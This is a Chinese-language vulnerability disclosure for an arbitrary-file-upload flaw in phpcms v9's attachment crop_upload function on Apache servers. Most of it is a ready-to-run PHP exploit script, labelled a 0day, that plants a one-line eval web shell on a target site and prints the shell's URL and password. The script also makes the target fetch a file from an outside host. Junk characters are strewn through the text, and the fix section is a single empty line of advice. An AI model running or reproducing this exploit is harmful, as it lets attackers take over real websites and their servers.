漏洞类型: 文件上传导致任意代码执行
# }( ~! d% Y8 s; U% Q1 P6 `. k. L
) G6 I( o6 D- R1 w+ a简要描述:
' N) C& E, N9 a: G3 d$ j2 N9 i: ?2 r/ w. p, A8 w( y
phpcms v9 getshell (apache)
p0 {9 A t/ h9 m6 y详细说明:
+ Q# |- Y+ v/ s
$ U# N( A: N4 c7 J; G1 ~漏洞文件:phpcms\modules\attachment\attachments.php
$ J; Q5 y) I; ~8 r* _7 x" K. s) W( _3 e) |) a3 n1 N: d' N
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
: L3 t) \, b' w7 x后缀检测:phpcms\modules\attachment\functions\global.func.php' T+ u# U2 A5 _6 v
7 V$ e3 P% j; c
6 z( g! _! q9 J8 A* w# ~
5 S3 F7 y) O# X
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } c ] b8 m6 P. ^0 C. q6 N8 f+ ]
; U0 j3 I8 v; u6 ~. H# j0 x% d8 }8 I关键函数:
|- L0 F- o6 }4 e3 q9 I, n0 a2 B; s* U
2 I0 Q# g& N# [$ P' y
g: Q2 i2 _$ m% i2 n$ Q- Ofunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 8 u7 b4 ~+ f1 P+ o
3 ^9 \! t: ~0 n9 E% F
Fileext函数是对文件后缀名的提取。
* g6 X9 q+ D/ X. m/ x( I根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
( E& L9 `& ^2 e# S+ M6 R经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
% g* H% k) s4 y O7 a" i我们回到public function crop_upload() 函数中, b- \* v, `/ s& Z9 m6 L( Z, {
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
* W1 ?6 q, |2 E W, Q在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数' X$ M+ X: B, U9 w
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 E9 m7 a( L' n$ u
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。, C2 s& i) G7 v* A
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 ^5 N2 i! f! t+ \% c3 M/ Y% l看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
' a' v( N- h- J+ i5 y* f: w1 K漏洞证明:. C7 {- o% J4 R* l$ D t8 L
8 z9 K% ]# \+ r' Zexp:
& B0 d7 O; g/ R2 E6 R( q2 J! J& J6 A
<?php
H) W2 D. m& n0 Qerror_reporting(E_ERROR); `; X0 A; L1 @- N7 k& H
set_time_limit(0);5 B3 P' `$ }; q% g: h! U
$pass="ln";0 Y+ ]8 q! O$ o$ N" K& l
print_r('4 \6 p% P4 D# h& n6 l
+---------------------------------------------------------------------------+4 ]" L8 T7 G* ~+ c/ v
PHPCms V9 GETSHELL 0DAY
! Y( ` h7 P" b9 q: [code by L.N.& E$ h; o. O$ x! @. h; `
: f/ M1 G0 ^. @7 k' m/ y
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
+ L# p/ J- s% F7 K+ [" b! n+---------------------------------------------------------------------------+
8 @; _3 q+ V) ^2 Q) z');, w4 l3 Z; M' F$ D5 f. Z
if ($argc < 2) {
( W' |: v9 l# r3 Wprint_r('
( C# G. g9 _' \$ F8 l& Y+---------------------------------------------------------------------------+
# ?; X8 r& l* B$ u* D4 [& p) SUsage: php '.$argv[0].' url path! r9 @5 `8 Q1 ^/ F8 V' L
n4 t7 }8 W# i* P% ~
Example:
* [ ?# C; ^5 m! X$ _0 z% _1.php '.$argv[0].' lanu.sinaapp.com' @6 p S- N J8 _# [3 z
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 h. H% P8 c; ?9 n3 V% X& w+---------------------------------------------------------------------------+% K- J$ r7 E1 p4 w) F7 A d
');
& e( d' N, F; P; u2 t( \/ @9 M8 ?exit;. a$ k6 n$ M9 a, p& `
}) ?, K" f) E+ G: p. u
4 @ r! |" z* A& x4 P p2 }2 @ V2 O$url = $argv[1];4 i9 W; g, ~8 C6 X3 s2 b( X
$path = $argv[2];
& {" ^' j; p# S* `$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 I% |6 c% t! K
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';, h5 U0 ^9 I: |' e+ ?# k, Y
if($ret=Create_dir($url,$path)). X# A" `; }- o: ~% w/ m
{ Q$ g! N. |# |& O& b6 G
//echo $ret;
" ~9 ^& H6 b# {3 s* `! i7 i2 ]" F$pattern = "|Server:[^,]+?|U";
2 a) G% Q/ S; l# Qpreg_match_all($pattern, $ret, $matches);9 ~* i$ l, y" v w
if($matches[0][0])
* X; z: `* c ?/ t2 Y- f4 w{
$ t; _/ i9 \4 }3 L( o, h5 o- Qif(strpos($matches[0][0],'Apache') == false)8 J5 ?9 j6 P5 ^; z- J& L5 E( t
{% i7 E2 O/ ]4 ~5 W
echo "\n亲!此网站不是apache的网站。\n";exit;1 S2 p- s1 c( i$ A: @
}
/ G) H4 I, b* ~: \7 a9 D}1 J i, @9 A: A. v4 r; I; [
$ret = GetShell($url,$phpshell,$path,$file);
" w4 K, p, @; q$ |$pattern = "|http:\/\/[^,]+?\.,?|U";3 f7 S2 T! e. }- k
preg_match_all($pattern, $ret, $matches);
% z4 A k, `4 o5 ^* E1 ~9 M, Y3 aif($matches[0][0])6 e4 M% Q( Y" m a: M
{) r$ T6 |! ?4 ^' C0 W
echo "\n".'密码为: '.$pass."\n";/ k" d4 N7 e2 }9 \# C; l! Q
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;6 B' r8 X) e1 C5 Y4 q6 j' h
}0 n! E% J/ p$ m" _/ |& |' ?
else5 b0 W3 W: C4 ?) c! Q; [
{; i0 o- o0 m% z/ d* Q9 Z2 z- g2 Y
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";' K. L8 R. a9 p
preg_match_all($pattern, $ret, $matches);
0 U. G' r3 J- g8 z Iif($matches[0][0]), @$ L2 K9 F! K. N Z; w
{# g ^5 Y! F, |( I
echo "\n".'密码为: '.$pass."\n";
8 ]# E( [! ^# }! D. P/ techo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;" n; z4 |& z- W9 j/ C3 v( R
}! g. T Z/ O' i# t# U7 l! K0 z
else
! Z9 N1 V8 O6 N- G3 a5 R+ h{
, b+ t' a) U. Mecho "\r\n没得到!\n";exit;8 }( E$ E* |: n$ o
}
+ i0 V0 r: i' k) s; ?/ ~}6 D: s9 \1 | T( m$ ]: _
}' o! ~4 h1 g! c% l
' W9 \0 P0 J8 n, U1 U
function GetShell($url,$shell,$path,$js), b! w7 u, l5 T1 z: M6 d
{3 w. C+ m6 |! s4 ~# B
$content =$shell; Y( L8 r: a; A5 u9 y* S9 D8 A9 Q
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";0 \% i+ i- I' ^! `
$data .= "Host: ".$url."\r\n";
+ q9 p. g: g. b4 C' x$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";) D, w M. m$ f6 f# W
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, H& k+ n2 o5 b/ x
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" s/ f7 ? n' { j& b( D' E; ?$data .= "Connection: close\r\n";8 J! Z6 E# Y: O
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 {* g0 |. X+ K5 t- ]. |2 k$data .= $content."\r\n";; p! d" a1 `9 d t4 S
$ock=fsockopen($url,80);# ^ u* Q/ f6 X: R7 z( W0 \
if (!$ock)
( Y5 b( \# O4 s{
0 L6 L) ` C& \* necho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, E1 {6 D9 q& E7 U/ u k}! S: b0 I! e! g8 O
else5 K: T5 x; _) _- O4 N
{
0 P- u, f/ R" S) x" D7 Q+ b. ufwrite($ock,$data);
, ]9 q! O/ ?' s+ X' E$resp = '';0 e! X8 v! j" w8 s( E! B: T. W$ m6 k
while (!feof($ock))
$ h b) w9 p9 j2 x4 _# `) M{- y2 D6 @) X( ]# N) S( S
$resp.=fread($ock, 1024);
& e) R% \- u- R$ `}
, f5 k/ j/ C4 f0 y2 [- oreturn $resp;' L8 Z1 N2 z% E! [, l- d( @2 P
}
1 h y X3 h" I2 b" A}0 Z& w/ C) K: R2 ]% V2 l$ k+ f6 C
2 b; d/ T+ h: z" ? p/ |, f; Hfunction Create_dir($url,$path='')
, S+ L. d* S/ J% s" n P{
. u1 M& h5 V' l: K$content ='I love you';
7 ]* H J% p& R$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";* f2 R) L* l( K+ s$ j' `; t
$data .= "Host: ".$url."\r\n";
. O2 _+ h) _2 _7 C$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 ]6 h0 C$ {9 V, v. F* y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
% l f: B& }2 a' Y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% `- ]9 G5 v l7 U+ d3 o$data .= "Connection: close\r\n";
" z% R" {3 M$ m7 @" v0 a! t$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
/ V7 {# T K6 K+ |; c! P6 u/ I$data .= $content."\r\n";
7 z5 @! @: K# p# s }$ock=fsockopen($url,80);' l2 K, J3 E9 C7 `1 b. }+ K l( _- g
if (!$ock)
/ I9 L1 `1 o) P6 `' A6 w; s5 K- ]% }{( Q9 Z7 \$ s0 p% J* u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" x7 G& N+ \$ L! u7 c8 K, w}9 R1 r4 M8 p) L
fwrite($ock,$data);
0 w" l9 t3 n5 y& g% |: W4 X" l* `2 V5 P$ |$resp = '';# _/ v- ]" l ?0 n9 F
while (!feof($ock))
7 r0 s6 @# x! z( `{
d* D: L* y# [/ V. I* b' L$resp.=fread($ock, 1024);
* c* ~$ h& \% X( e}
- ]9 T/ h+ q3 M3 w1 A6 o! C Creturn $resp;
& e" m" b1 l" M8 V}" S1 I+ r" |5 c! I9 D
?>
2 b5 \ g! p- ]5 Q% V+ ] ! Q, I3 O; ^3 E4 g( }
修复方案:
9 C# Q4 S9 g! @* K
8 b' \4 V+ o V; P0 x过滤过滤再过滤
) `/ K0 h) V* m& @' N* ]9 c, c& d
|